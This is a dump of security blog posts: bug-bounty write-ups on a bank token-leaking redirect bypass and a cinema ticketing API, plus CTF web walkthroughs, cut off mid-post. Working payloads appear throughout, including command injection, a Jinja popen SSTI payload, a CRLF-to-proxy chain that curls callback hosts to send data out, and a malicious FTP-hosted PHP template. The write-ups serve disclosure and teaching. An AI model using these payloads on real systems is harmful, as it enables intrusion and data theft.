[{"content":"Disclaimer This blog post is shared for educational and academic purposes only. All issues described here were responsibly reported to the affected company and have since been verified. The intention of this write-up is to raise awareness, improve security practices, and share lessons learned with the community.\nSince I was back in Korea and looking for my next role, I decided to spend this month fully focused on bug bounties again. It’s always a mix of frustration and small breakthroughs. One of the simple but surprisingly interesting bugs I uncovered was this cross-domain redirect flaw in a bank’s merchant administration flow.\nThe Link That Didn’t Feel Right While exploring the bank’s portal, I found that some features didn’t live under the main domain where I was authenticated.\nFor example, I was logged in at:\nhttps://bank.com But when I clicked the merchant management functionality, I was redirected to:\nhttps://trusted-bank.com This second domain was the merchant administration portal, where users could manage their registered store, modify payout accounts, update contact information, and control operational settings.\nThat immediately caught my attention.\nCross-domain authentication boundaries are fragile by nature. Whenever a platform splits trust between multiple domains, I like to understand exactly how those domains authenticate each other.\nThe Redirect Gateway When I clicked one of these features, I saw a gateway endpoint:\n/group/portal-1.0?url=https://trusted-bank.com/%23/login/tmpToken It accepted a url parameter and issued a redirect.\nAt first glance it looked protected by an allowlist, but I suspected the validation might be checking the wrong part of the URL (string contains, naive parsing, or inconsistent parsing vs browser behavior).\nA Quick Note on Cross-Domain Authentication Large platforms often split functionality across multiple subdomains. A public login domain might authenticate users, then redirect them to an internal admin portal hosted elsewhere.\nThere are generally two safe ways to do this:\nIssue a secure, HTTP-only cookie like JWT scoped to the target domain. Use a short-lived authorization code exchanged server to server. What you should not do is transport reusable authentication tokens through browser visible URLs especially inside fragments and rely on redirect parameters to move them between domains.\nAfter observing the URL parameter and the token sent in the response, I tried arbitrary URLs in the URL parameter, but all my attempts resulted in a redirect to an error page.\nHTTP/2 302 Found Content-Length: 0 Location: https://trusted-bank/group/portal-1.0/error That meant I needed to go deeperrrr\nAllowlist Bypass via URL Parsing Differential After testing multiple payloads, I discovered a bypass that relied on a combination of a URL-encoded fragment (%23) and the legacy @ userinfo syntax. The issue stemmed from a parser differential between how the backend validated the URL and how the browser ultimately interpreted it.\nTo understand what happened, let’s start with how URLs are defined in RFC 3986:\nhttps://userinfo@host:port/path?query#fragment └──┬───┘ └──┬─┘ (optional) (actual destination) Everything before @ is userinfo. The real destination is whatever comes after it.\nThe application appeared to perform a simple allowlist check on the url parameter, likely similar to:\nif (url.includes(\u0026#34;trusted-bank.com\u0026#34;)) accept(); This means the backend only checks whether trusted-bank.com appears in the string — not whether it is actually the resolved host.\nA straightforward payload like:\nhttps://trusted-bank.com@evil.site/ was correctly blocked, since the parser identified evil.site as the real host.\nExploiting the Parser Differential The key was placing a URL-encoded fragment (%23) before the @:\nGET /portal-1.0?url=https://evil.site%23@trusted-bank.com/ Here’s where the mismatch occurs.\nIf the backend validates the URL before decoding %23, or uses a parser that treats it literally, it interprets the URL as:\nhttps://evil.site%23@trusted-bank.com/ └────┬─────┘ └──────┬───────┘ userinfo HOST ✓ Whitelisted However, when the browser processes the Location header, it decodes %23 into #, resulting in:\nhttps://evil.site#@trusted-bank.com/ └───┬───┘└──────────────┬──────────────┘ HOST fragment (actual destination) (ignored client-side) Everything after # becomes a fragment. The browser:\nNavigates to evil.site Treats @trusted-bank.com/ as fragment data Makes the fragment available to client-side JavaScript That mismatch where the server and browser interpret the same URL differently, is known as a parser differential issue.\nIf you’re interested in going deeper into URL and HTTP parser inconsistencies, I highly recommend this excellent research: https://blog.bugport.net/exploiting-http-parsers-inconsistencies\nThe critical detail: token delivered in the URL fragment During this redirect flow, the application delivered a temporary authentication token inside the URL fragment:\nHTTP/1.1 302 Content-Length: 0 Connection: keep-alive Location: https://trusted-bank.com/#/login/PuclvrQaVbFdtoUTYCBzXvwtgHdehBgSytrD.... Fragments are never sent to servers as part of HTTP requests, but they are accessible via JavaScript. If I could force the victim’s browser to land on my controlled infrastructure first, and the token was present in window.location.hash, it would become collectible.\nThat’s when the open redirect bypass turned into token leakage.\nCrafting the Exploit URL Using the open redirect and the allowlist bypass, I crafted a URL that the victim would need to click while authenticated:\nhttps://bank.com/group/portal-1.0?url=https://ATTACKERDOMAIN%23@trusted-bank.com/%23/login/tmpToken Because the backend trusted the destination and the browser resolved it differently, the fragment token became exposed during the redirect chain.\nTo validate impact, I created a minimal collector page that reads window.location.hash and reports it back to my server:\n\u0026lt;script\u0026gt; var f = window.location.hash; fetch(\u0026#39;/c?f=\u0026#39; + encodeURIComponent(f)); \u0026lt;/script\u0026gt; Once the victim accessed the crafted link while authenticated, the fragment token was captured by my controlled page.\nAfter capturing the fragment token, I was able to exchange it for a valid session token using the same authentication endpoint the application normally uses.\nUsing that JWT in the Authorization header, I successfully accessed authenticated merchant APIs and confirmed full administrative privileges including the ability to view and modify payout account configuration.\nAt that point, sometime around 2:00 AM, I submitted the report.\nSummary The exploit chain can be summarized as follows:\nRedirect allowlist bypass → Fragment token leak → Bearer token exchange → Merchant admin takeover.\nTimeline Date Action February, 04, 2026 Initial report sent to the company February, 11, 2026 Initial response from the company February 23, 2026 Blog post released Thanks Thanks to Algu1en, synawk, D0V0, gruchozzz for reviewing the post.\nUntil the next one, stay curious, stay ethical.\n","permalink":"https://blog.s4yhii.com/posts/from-redirect-to-merchant-administration-takeover-at-a-major-bank/","summary":"\u003ch2 id=\"disclaimer\"\u003eDisclaimer\u003c/h2\u003e\n\u003cp\u003eThis blog post is shared for educational and academic purposes only. All issues described here were responsibly reported to the affected company and have since been verified.\nThe intention of this write-up is to raise awareness, improve security practices, and share lessons learned with the community.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eSince I was back in Korea and looking for my next role, I decided to spend this month fully focused on bug bounties again. It’s always a mix of frustration and small breakthroughs. One of the simple but surprisingly interesting bugs I uncovered was this cross-domain redirect flaw in a bank’s merchant administration flow.\u003c/p\u003e","title":"From Redirect to Merchant Administration Takeover at a Major Bank"},{"content":"Disclaimer This blog post is shared for educational and academic purposes only. All issues described here were responsibly reported to the affected company and have since been fixed and verified. Permission to publish was granted by the company. The intention of this write-up is to raise awareness, improve security practices, and share lessons learned with the community.\nAct I — The Setup It all started on a lazy evening in April. I wasn’t trying to hack anything major, just poking around a movie ticketing site which I\u0026rsquo;m client of with DevTools open. As I added a ticket to my cart, something odd caught my eye: a POST request carrying a mysterious parameter named encInfo.\n“Why would a frontend encrypt its own traffic before sending it to its backend?”\nPro Tip: In Caido, the first thing I do is filter the HTTP History with HTTPQL to cut out analytics noise and static requests. For example:\nreq.method.cont:\u0026#34;POST\u0026#34; and not req.host.cont:\u0026#34;analytics\u0026#34; That was the spark. What began as casual curiosity turned into a journey where I ended up pulling strangers’ receipts and breaking AES encryption in the browser.\n“The checkout flow looked ordinary, until I noticed encInfo.”\nAct II — The First Discovery: Ghost Receipts That weekend, I had planned to go to the movies with my girlfriend. She sent me a screenshot of her reservation: it showed the bookingId and the QR code of the ticket, but not the seat numbers. Curious, I wondered if it was possible to retrieve the full ticket details including seats using only the order number.\nWith that in mind, I opened the developer tools and as I downloaded one of my own tickets, I began watching the network traffic, and that’s when I noticed a request that looked especially interesting.\nAt first glance it felt too simple. My instinct was: surely the backend must cross-check this against a logged-in session or some signature. To confirm, I stripped the cookies and replayed the request. It still worked. That’s when I realized this endpoint was completely unauthenticated.\nPro Tip: In Caido I like to replay with headers removed one by one (auth tokens, cookies, referers). This quickly reveals which ones actually matter. In this case, none did.\nNext, I wondered how resilient it was against tampering. I changed the bookingId slightly, swapping the last character. Half-expecting a 403 or error, I instead got back a massive Base64 blob in the response.\nA full movie ticket receipt for a user I had no relationship with that includes the following info: Full Name, Movie Title, Cine, Seat reserver, Date of visit, total price paid.\nThe invoice retrieval relied entirely on a bookingId string — a 7-character alphanumeric identifier starting with W. I tried to reverse engineer this string, but was not created in the front, instead in the back, so it was random. Through light fuzzing and guesswork, I retrieved several valid receipts. But I needed scale, with a few lines of Python, I wrote a brute-forcer — and within seconds, my terminal was spitting out dozens of receipts.\nSome of the booking IDs I brute-forced returned perfectly valid, usable tickets, while others came back as expired or invalid. If the showtime was scheduled for the same day, the receipt was essentially “live” and could be used to claim entry. Anything older would still return a receipt, but one that no longer held any real-world value.\nThis meant an attacker could take a valid booking ID, use it against the system, and walk into the cinema using someone else’s ticket. Because the IDs were weak and there was no authentication, what first looked like a small privacy issue quickly became a serious access control flaw, with real financial and reputational impact.\nAct III — The Cipher in the Browser Even after pulling receipts, something still bugged me. Every sensitive request — adding tickets, concessions, even returns — had that weird encInfo blob attached. It was like a secret note passed between the frontend and the backend, except the note was just a mess of hex characters.\nAt first, I tried poking at it. Change a byte, send it back, watch what happens. Every time I did, the server threw me either a 400 Bad Request or a 500 Internal Server Error. That told me one thing: this blob wasn’t just noise. The backend really cared about it.\nSo I switched gears. If the backend cared so much, maybe the frontend could tell me why. I opened Chrome DevTools, jumped into Sources, and started scrolling through the minified spaghetti that was main.js.\nWhen hunting for crypto in JS, I’ve learned a trick: search for obvious strings like \u0026ldquo;AES\u0026rdquo; or \u0026ldquo;encrypt\u0026rdquo;, or just regex for anything that looks like a key. Thirty-two characters, all numbers? Suspicious. Sixteen characters of lowercase letters? Even more suspicious.\nAnd there it was. Jackpot. Right in the middle of the bundle:\nAfter scrolling through the minified main.js, I finally spotted the smoking gun: both the encryption key and the initialization vector (IV) were hard-coded directly into the bundle. That meant every encinfo request from the frontend was being encrypted with the exact same values, fully exposed to anyone inspecting the source. Right next to them, I also found the function call responsible for wrapping the sensitive JSON data before sending it to the backend:\nAES.encrypt(pad(JSON.stringify(data), 16), KEY, { iv: IV }); No obfuscation. No key rotation. Just the crypto equivalent of leaving your house key under the doormat.\nLesson: Never trust the client to encrypt or validate anything important.\nAt this point, the puzzle pieces clicked together. If I had the key and the IV, then that big scary encInfo blob wasn’t scary at all, it was just encrypted JSON waiting to be freed.\nSo I copied one out of a real request, fired up a quick Python script with PyCryptodome, and hit run:\nfrom Crypto.Cipher import AES from Crypto.Util.Padding import unpad import binascii KEY = b\u0026#34;22021509147968334581420394558985\u0026#34; IV = b\u0026#34;ibfxivitgrpewzgj\u0026#34; data = binascii.unhexlify(\u0026#34;37B0E9B8...\u0026#34;) # sample encInfo cipher = AES.new(KEY, AES.MODE_CBC, IV) plaintext = unpad(cipher.decrypt(data), 16) print(plaintext.decode()) And out came a neat little JSON:\n{ \u0026#34;UserSessionId\u0026#34;: \u0026#34;995ec229c07cd2adc79289936e12f8fa\u0026#34;, \u0026#34;CinemaId\u0026#34;: \u0026#34;0000000001\u0026#34;, \u0026#34;Concessions\u0026#34;: [ {\u0026#34;ItemId\u0026#34;: \u0026#34;2624\u0026#34;, \u0026#34;Quantity\u0026#34;: 2, \u0026#34;PriceInCents\u0026#34;: 6300} ], \u0026#34;ReturnOrder\u0026#34;: true, \u0026#34;FirstRequest\u0026#34;: false } With the key and IV in hand, encinfo was just AES‑CBC encrypted JSON. I grabbed one of my own requests, wrote a short Python script (PyCryptodome), and decrypted it. Out came plain business data: session IDs, items, prices, flags. For example, my popcorn order showed 6300 cents.\n\u0026#34;Concessions\u0026#34;: [ {\u0026#34;ItemId\u0026#34;: \u0026#34;2624\u0026#34;, \u0026#34;Quantity\u0026#34;: 2, \u0026#34;PriceInCents\u0026#34;: 0} ] I then re‑encrypted the edited JSON with the same key/IV, dropped it back into the request, and replayed it.\nThe backend didn’t blink. No error, no integrity check, no “are you kidding me?”\nThis means an attacker could (not tested):\nForge tickets and concession orders. Abuse the order flow (ReturnOrder, ProcessOrderValue). Change prices or claim refunds. That’s when it hit me: the browser wasn’t just handling presentation; it was acting like the bank vault for the entire ordering process. And with the AES key and IV lying around in main.js, I hadn’t broken in — they’d handed me the vault combination.\nSummary The platform exposed two critical flaws:\nUnauthenticated invoice API. Given only a bookingId, it returned Base64‑encoded PDF receipts, enabling enumeration and ticket misuse.\nClient‑side AES with hard‑coded secrets. The frontend used AES‑CBC with a static key and IV in main.js, allowing decryption, modification, and re‑encryption of sensitive request payloads (sessions, tickets, concessions, refunds) with no integrity protection.\nTogether, these issues could leak personal information, enumerate active tickets, forge or alter orders, and abuse refund flows. Once I confirmed the impact, I stopped testing and reported it responsibly\nLessons Learned Never trust the client for security. Cryptographic operations and secrets should live on the server, not in JavaScript.\nUse integrity checks. Encrypted blobs must be signed (e.g., HMAC, AEAD) to prevent tampering.\nProtect sensitive APIs with authentication and authorization. A booking receipt is personal data, it should never be accessible unauthenticated.\nAvoid predictable identifiers. Short, sequential booking codes make brute-forcing feasible; use long, random identifiers.\nAvoid security through obscurity\nTimeline Date Action April, 30, 2025 Initial report sent to the company May, 07, 2025 Initial response from the company June, 30, 2025 Vulnerability fixed, unable to reproduce August 21, 2025 Company give the rights to publish August 25, 2025 Blog post released Thanks I hope this write‑up is useful. Thanks for reading and sharing.\nWe’ll be back soon. Special thanks for their help reviewing this post to:\nPuneyK Algu1en xpnt MrDesdes Until the next one, stay curious, stay ethical.\n","permalink":"https://blog.s4yhii.com/posts/tickets-and-popcorn-please-the-day-main.js-became-the-key-vault/","summary":"\u003ch2 id=\"disclaimer\"\u003eDisclaimer\u003c/h2\u003e\n\u003cp\u003eThis blog post is shared for educational and academic purposes only. All issues described here were responsibly reported to the affected company and have since been fixed and verified. Permission to publish was granted by the company.\nThe intention of this write-up is to raise awareness, improve security practices, and share lessons learned with the community.\u003c/p\u003e\n\u003ch1 id=\"act-i--the-setup\"\u003eAct I — The Setup\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"alt text\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/Writeup/cinema/four.gif#center\"\u003e\u003c/p\u003e\n\u003cp\u003eIt all started on a lazy evening in April. I wasn’t trying to hack anything major, just poking around a movie ticketing site which I\u0026rsquo;m client of with DevTools open. As I added a ticket to my cart, something odd caught my eye: a POST request carrying a mysterious parameter named encInfo.\u003c/p\u003e","title":"Tickets and Popcorn please!, The Day main.js Became the Key Vault"},{"content":"I participated as a member of team CibersecUNI. This time i managed to solve all 6/6 challenges in the web category.\nWhispers of the Moonbeam Observando las funciones, nos dan una pista que se puede inyectar comandos con ;.\nUsando el comando gossip, puedo listar los archivos, se visualiza el archivo flag.txt, y con un simple ; puedo concatenar el comando cat para leer la flag.\ngossip; cat flag.txt Obtenemos la flag. 🎉 HTB{Sh4d0w_3x3cut10n_1n_Th3_M00nb34m_T4v3rn_78cb9b70be3bf077e608865b967b5ab1}\nEste fue un challenge muy directo de inyeccion de comandos.\nTrial by Fire 📦 web_trial_by_fire.zip Observando la UI, nos da una pista sobre SSTI.\nEl reto nos muestra un campo en el cual podemos ingresar un nombre de usuario, el código de las rutas es:\n@web.route(\u0026#39;/begin\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) def begin_journey(): warrior_name = request.form.get(\u0026#39;warrior_name\u0026#39;, \u0026#39;\u0026#39;).strip() if not warrior_name: return redirect(url_for(\u0026#39;web.index\u0026#39;)) session[\u0026#39;warrior_name\u0026#39;] = warrior_name return render_template(\u0026#39;intro.html\u0026#39;, warrior_name=warrior_name) @web.route(\u0026#39;/flamedrake\u0026#39;) def flamedrake(): warrior_name = session.get(\u0026#39;warrior_name\u0026#39;) if not warrior_name: return redirect(url_for(\u0026#39;web.index\u0026#39;)) return render_template(\u0026#34;flamedrake.html\u0026#34;, warrior_name=warrior_name) @web.route(\u0026#39;/battle-report\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) def battle_report(): warrior_name = session.get(\u0026#34;warrior_name\u0026#34;, \u0026#34;Unknown Warrior\u0026#34;) battle_duration = request.form.get(\u0026#39;battle_duration\u0026#39;, \u0026#34;0\u0026#34;) stats = { \u0026#39;damage_dealt\u0026#39;: request.form.get(\u0026#39;damage_dealt\u0026#39;, \u0026#34;0\u0026#34;), \u0026#39;damage_taken\u0026#39;: request.form.get(\u0026#39;damage_taken\u0026#39;, \u0026#34;0\u0026#34;), \u0026#39;spells_cast\u0026#39;: request.form.get(\u0026#39;spells_cast\u0026#39;, \u0026#34;0\u0026#34;), \u0026#39;turns_survived\u0026#39;: request.form.get(\u0026#39;turns_survived\u0026#39;, \u0026#34;0\u0026#34;), \u0026#39;outcome\u0026#39;: request.form.get(\u0026#39;outcome\u0026#39;, \u0026#39;defeat\u0026#39;) } Se ingresa el payload 7*7 para validar si en alguna ruta ese valor se renderiza al usar una plantilla y nos muestra el valor de 49.\nEn la ruta /flamedrake se observa que no se renderiza el payload ingresado, esto debido a que se toma el valor como string.\nBuscando otras rutas donde se renderiza el payload, se encuentra que en la ruta /battle-reports, nuestro payload se envía como parámetro y se renderiza el valor en la plantilla, lo cual hace que se visualize 49 en la respuesta.\n\u0026lt;div class=\u0026#34;warrior-info\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;nes-icon is-large heart\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;p class=\u0026#34;nes-text is-primary warrior-name\u0026#34;\u0026gt;{warrior_name}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; Luego de verificar que efectivamente nuestro payload se renderiza como 49 en la respuesta, elaboramos nuestro payload para leer la flag.\nUsaremos el siguiente payload, extraido de Payload all the things, pero con las modificaciones necesarios para leer la flag.\n{% raw %}\nwarrior_name={{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\u0026#39;cat%20flag.txt\u0026#39;).read()}} {% endraw %}\nLuego de inyectar nuestro payload para leer la flag, se puedo visualizar en la UI de la ruta /battle-reports nuestra flag.\nO desde Caido usando la funcion de replay.\nSe obtiene la flag. 🎉 HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght_9c285b69f155f1d253dfefe5fe30667d}\nCyber Attack Este reto tiene varios pasos, pero en general se abusará de CRLF Injection + Proxy + RCE\nSe observa un panel con 2 campos, name y domain, solo se puede usar el boton de Attack a Domain, ya que el boton de Attack an IP solo se puede realizar desde localhost. Gracias a esta porción de código en el index.php\n// Check if the user\u0026#39;s IP is local const isLocalIP = (ip) =\u0026gt; { return ip === \u0026#34;127.0.0.1\u0026#34; || ip === \u0026#34;::1\u0026#34; || ip.startsWith(\u0026#34;192.168.\u0026#34;); }; // Get the user\u0026#39;s IP address const userIP = \u0026#34;\u0026lt;?php echo $_SERVER[\u0026#39;REMOTE_ADDR\u0026#39;]; ?\u0026gt;\u0026#34;; // Enable/disable the \u0026#34;Attack IP\u0026#34; button based on the user\u0026#39;s IP const attackIPButton = document.getElementById(\u0026#34;attack-ip\u0026#34;); attack-domain file:\ndef is_domain(target): return re.match(r\u0026#39;^(?!-)[a-zA-Z0-9-]{1,63}(?\u0026lt;!-)\\.[a-zA-Z]{2,63}$\u0026#39;, target) form = cgi.FieldStorage() name = form.getvalue(\u0026#39;name\u0026#39;) target = form.getvalue(\u0026#39;target\u0026#39;) if not name or not target: print(\u0026#39;Location: ../?error=Hey, you need to provide a name and a target!\u0026#39;) elif is_domain(target): count = 1 # Increase this for an actual attack os.popen(f\u0026#39;ping -c {count} {target}\u0026#39;) print(f\u0026#39;Location: ../?result=Succesfully attacked {target}!\u0026#39;) else: print(f\u0026#39;Location: ../?error=Hey {name}, watch it!\u0026#39;) print(\u0026#39;Content-Type: text/html\u0026#39;) print() Se observa que imprime Location: y Content-Type, pero no valida que name no incluya \\r\\n, lo que permite inyectar nuevas cabeceras HTTP, adicionalmente en el archivo Dockerfile se habilita el módulo proxy para Apache, el cual permite enviar peticiones a servicios http.\nRUN a2enmod rewrite cgi proxy proxy_fcgi proxy_http Ejemplo, si envío name=a%0d%0aLocation: /a%0d%0aContent-Type: proxy:..., se transforma en la siguiente respuesta.\nHTTP/1.1 302 Found Location: /a Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=... Ahora que ya encontramos la forma de hacer solicitudes internas es hora de abusar del endpoint /attack-ip, el cual tiene como código.\n#!/usr/bin/env python3 import cgi import os from ipaddress import ip_address form = cgi.FieldStorage() name = form.getvalue(\u0026#39;name\u0026#39;) target = form.getvalue(\u0026#39;target\u0026#39;) if not name or not target: print(\u0026#39;Location: ../?error=Hey, you need to provide a name and a target!\u0026#39;) try: count = 1 # Increase this for an actual attack os.popen(f\u0026#39;ping -c {count} {ip_address(target)}\u0026#39;) print(f\u0026#39;Location: ../?result=Succesfully attacked {target}!\u0026#39;) except: print(f\u0026#39;Location: ../?error=Hey {name}, watch it!\u0026#39;) print(\u0026#39;Content-Type: text/html\u0026#39;) print() Se observa que se intenta validar target con ip_address() de la librería ipaddress de Python, para asegurarse de que sea una IP válida, podemos inyectar comandos usando $, ya que Apache está ejecutando el CGI, entonces la inyección se da antes siquiera de que se llegue al código Python. Solo basta con proporcionar una IP valida, ya sea ipv4 o ipv6.\nUsaremos en este caso una ipv6 y el caracter especial $ para ejecutar comandos:\n::1%$(command) Nuestro payload completo se traduce a:\nGET /cgi-bin/attack-domain?target=-\u0026amp;name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%25%32%30aqsmhrfmvylkqdnuqyqqpqvhktneu42h2.oast.fun?testt)%260name=%0D%0A%0D%0A El cual hace una simple petición a mi webhook para validar si funciona.\nSe observa que si funciona, otro incoveniente ahora es que no se puede usar / en el comando, entonces para listar y navegar por directorios tuve que usar un poco de ingenio.\nEn vez de realizar\ncd ../../../ | base64 -w0 Tuve que realizar el siguiente, dado que este comando no tiene el caracter \u0026lsquo;/\u0026rsquo; y no rompe la sintaxis de una url.\necho \u0026#39;cd ..;cd ..;cd ..; ls\u0026#39;|sh| base64 -w0 echo \u0026#39;cd ..;cd ..;cd ..; cat flag-jqpeei2a5jk8hr8.txt\u0026#39;|sh| base64 -w0 Como payload final para leer la flag usé Burp Collaborator para decodear a la vez de base64.\nGET /cgi-bin/attack-domain?target=-\u0026amp;name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%25%32%30cfvekttb0yhbc2ia84d9zkasqjwak68v.oastify.com?p=$(echo%25%32%30%27cd%25%32%30..%25%33%62cd%25%32%30..%25%33%62cd%25%32%30..%25%33%62%25%32%30cat%25%32%30*.txt%27|sh|%25%32%30base64%25%32%30-w0))%260name=%0D%0A%0D%0A Get the flag. 🎉 HTB{h4ndl1n6_m4l4k4r5_f0rc35}\nEldoria Panel Es una web que muestra misiones que pueden ser asignadas con la funcion \u0026ldquo;claim quest\u0026rdquo;.\nCode Review:\nLa flag se encuentra en el directorio raiz con un nombre random gracias a esta linea en el entry.sh.\nmv /flag.txt /flag$(cat /dev/urandom | tr -cd \u0026#34;a-f0-9\u0026#34; | head -c 10).txt -\u0026gt; RCE Toda página es retornada usando render.\n$app-\u0026gt;get(\u0026#39;/dashboard\u0026#39;, function (Request $request, Response $response, $args) { $html = render($GLOBALS[\u0026#39;settings\u0026#39;][\u0026#39;templatesPath\u0026#39;] . \u0026#39;/dashboard.php\u0026#39;); $response-\u0026gt;getBody()-\u0026gt;write($html); return $response; })-\u0026gt;add($authMiddleware); La funcion render es vulnerable a RCE por el uso de la funcion eval, pero está usando file_exists antes de llamar a file_get_contents. Es posible setear la ruta de los templates llamanda a /api/admin/appSettings\n$app-\u0026gt;post(\u0026#39;/api/admin/appSettings\u0026#39;, function (Request $request, Response $response, $args) { $data = json_decode($request-\u0026gt;getBody()-\u0026gt;getContents(), true); if (empty($data) || !is_array($data)) { $result = [\u0026#39;status\u0026#39; =\u0026gt; \u0026#39;error\u0026#39;, \u0026#39;message\u0026#39; =\u0026gt; \u0026#39;No settings provided\u0026#39;]; } else { $pdo = $this-\u0026gt;get(\u0026#39;db\u0026#39;); $stmt = $pdo-\u0026gt;prepare(\u0026#34;INSERT INTO app_settings (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value\u0026#34;); foreach ($data as $key =\u0026gt; $value) { $stmt-\u0026gt;execute([$key, $value]); } if (isset($data[\u0026#39;template_path\u0026#39;])) { $GLOBALS[\u0026#39;settings\u0026#39;][\u0026#39;templatesPath\u0026#39;] = $data[\u0026#39;template_path\u0026#39;]; } $result = [\u0026#39;status\u0026#39; =\u0026gt; \u0026#39;success\u0026#39;, \u0026#39;message\u0026#39; =\u0026gt; \u0026#39;Settings updated\u0026#39;]; } $response-\u0026gt;getBody()-\u0026gt;write(json_encode($result)); return $response-\u0026gt;withHeader(\u0026#39;Content-Type\u0026#39;, \u0026#39;application/json\u0026#39;); })-\u0026gt;add($adminApiKeyMiddleware); El middleware es inútil porque llama a $handler-\u0026gt;handle($request); independientemente -\u0026gt; cada usuario puede llamar a rutas própias de admin.\nComo no podemos escribir archivos en el servidor, usaremos el servicio ftp, ya que sirve con file_exsists y file_get_contents.\nLevantaremos un servidor ftp donde hostearemos nuestro archivo template llamado dashboard.php, usaré este servicio gratuito online para levantar mi servidor ftp: Free FTP Server\nCreamos nuestro archivo template malicioso llamado dashboard.php, este contiene dos comandos para listar archivos y otro para leer la flag.\n\u0026lt;?php system(\u0026#34;ls -la /flag*\u0026#34;); system(\u0026#34;cat /flag*\u0026#34;); ?\u0026gt; Se sube el archivo usando put dashboard.php\nSeteamos la ruta de los templates haciendo un POST request a /api/admin/appSettings con el siguiente body:\n{ \u0026#34;template_path\u0026#34;: \u0026#34;ftp://da192e7de042469196ddc45e20c9eb88:i2rMACU1fteQbrIEqh3zAqdNezrtTpKH@eu-central-1.sftpcloud.io\u0026#34; } Hacemos una solicitud a dashboard.php para que cargue nuestro archivo malicioso y se ejecuten los comandos.\nSe obtiene la flag. 🎉\nHTB{p41n_c4us3d_by_th3_usu4l_5u5p3ct_5f8e78373f521bac3069c1e39d487581}\nEldoria Realms HTB{p0llut3_4nd_h1t_pr0toc0lz_w_4_sw1tch_d730bc90109dcd38663a32b93f3ac999}\n","permalink":"https://blog.s4yhii.com/posts/cyberapocalypse-ctf2025-web/","summary":"\u003cp\u003eI participated as a member of team \u003cstrong\u003eCibersecUNI\u003c/strong\u003e. This time i managed to solve all 6/6 challenges in the web category.\u003c/p\u003e\n\u003ch1 id=\"whispers-of-the-moonbeam\"\u003eWhispers of the Moonbeam\u003c/h1\u003e\n\u003cp\u003eObservando las funciones, nos dan una pista que se puede inyectar comandos con ;.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"alt text\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/CA2025/image-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eUsando el comando gossip, puedo listar los archivos, se visualiza el archivo flag.txt, y con un simple ; puedo concatenar el comando cat para leer la flag.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egossip\u003cspan class=\"p\"\u003e;\u003c/span\u003e cat flag.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eObtenemos la flag. 🎉\nHTB{Sh4d0w_3x3cut10n_1n_Th3_M00nb34m_T4v3rn_78cb9b70be3bf077e608865b967b5ab1}\u003c/p\u003e","title":"Cyber Apocalypse 2025 - 6x Web Challenges Writeup"},{"content":"I participated as a member of team CibersecUNI. In the web category we solved 6/9 challenges as a team. In this writeup I will go through the ones that I have solved:\nTestimonial Labyrinth Linguist TimeKORP Locktalk Testimonial As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction\u0026rsquo;s hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.\n🐳 Instancer 2 IP (web ui and Grpc server) 📦 web_testimonial.zip By looking at the file structure I could tell it’s a Golang app where you can send testimonials (name and content).\nWe get 2 ips in the challenge, one is the web interface and the other is the Grpc server.\nWhen observing the functions of the website, we can think of stealing the cookies via stored XSS, but reviewing the code, there is no admin-type bot that is reviewing the testimonials.\nerr := os.WriteFile(fmt.Sprintf(\u0026quot;public/testimonials/%s\u0026quot;, req.Customer), []byte(req.Testimonial), 0644):This block writes the received testimonial to a file located in the directory public/testimonials, with the name specified in the Customer field of the request.\nfunc (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) { if req.Customer == \u0026#34;\u0026#34; { return nil, errors.New(\u0026#34;Name is required\u0026#34;) } if req.Testimonial == \u0026#34;\u0026#34; { return nil, errors.New(\u0026#34;Content is required\u0026#34;) } err := os.WriteFile(fmt.Sprintf(\u0026#34;public/testimonials/%s\u0026#34;, req.Customer), []byte(req.Testimonial), 0644) if err != nil { return nil, err } return \u0026amp;pb.GenericReply{Message: \u0026#34;Testimonial submitted successfully\u0026#34;}, nil } On the server, there is a directory traversal vulnerability in the handling of the client path. The Testimonial Customer field is used to specify the file location in which the testimonial will be stored. If this field is not properly validated and the inclusion of relative paths is allowed, we can manipulate this field to navigate outside the expected directory, like the root directory.\nWe will use this method to overwrite the content of the html website, which is located in the path ../../view/home/index.templ.\nfunc GetTestimonials() []string { fsys := os.DirFS(\u0026#34;public/testimonials\u0026#34;)\tfiles, err := fs.ReadDir(fsys, \u0026#34;.\u0026#34;)\tif err != nil { return []string{fmt.Sprintf(\u0026#34;Error reading testimonials: %v\u0026#34;, err)} } var res []string for _, file := range files { fileContent, _ := fs.ReadFile(fsys, file.Name()) res = append(res, string(fileContent))\t} return res } templ Testimonials() { for _, item := range GetTestimonials() { \u0026lt;div class=\u0026#34;col-md-4\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card mb-4\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;card-text\u0026#34;\u0026gt;\u0026#34;{item}\u0026#34;\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;text-muted\u0026#34;\u0026gt;- Anonymous 